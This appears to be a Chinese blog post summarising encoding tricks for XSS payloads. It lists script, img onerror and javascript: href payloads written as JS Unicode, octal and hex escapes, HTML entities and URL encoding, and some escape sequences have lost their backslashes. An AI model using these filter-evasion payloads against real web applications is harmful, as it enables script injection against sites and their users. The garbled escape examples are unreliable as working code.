zoukankan      html  css  js  c++  java
  • xss编码小结

    一、JS编码与HTML编码区分:

    HTML实体可以使用十进制与十六进制编码;javascript可以使用Unicode与八进制与十六进制进行编码。

    二、编码原理区分:

    三、编码与非编码

    对于JS编码:

    1.<script>eval("u0061u006cu0065u0072u0074u0028u002fu0078u0073u0073u002fu0029");</script>(JS Unicode编码)

    2. <script>eval("14115414516216450571701631635751");</script>(JS八进制编码)

    3.<script>eval("x61x6cx65x72x74x28x27x58x53x53x27x29");</script>(JS十六进制编码)

    对于HTML编码:

    1. <img src=1 onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">  (HTML实体十进制编码)

    2. <img src=1 onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x2f;&#x78;&#x73;&#x73;&#x2f;&#x29;"> (HTML实体十六进制编码)

    对于URL编码:

    1.%3Cscript%3Ealert(%2Fxss%2F)%3Cscript%3E

    2. %3Cimg%20src%3D1%20onerror%3Dalert(%2Fxss%2F)%3E

    3. %3Ca%20href%3D'javascript%3Aalert(%2Fxss%2F)'%3Eclick%20me%3C%2Fa%3E

    对于非编码:

    1.<script>alert(/xss/)</script>

    2. <img src=1 onerror=alert(/xss/)>

    3. <a href='javascript:alert(/xss/)'>click me</a>

  • 相关阅读:
    解决ajax无法给js全局变量赋值的问题
    jquery对象和dom对象
    js浏览器调试
    elastic search使用
    elastic search远程测试
    elastic search安装与本地测试
    jQuery常用技巧
    Jquery操作cookie
    HTML特殊字符编码对照表
    DpQuery.js
  • 原文地址:https://www.cnblogs.com/milantgh/p/4246342.html
Copyright © 2011-2022 走看看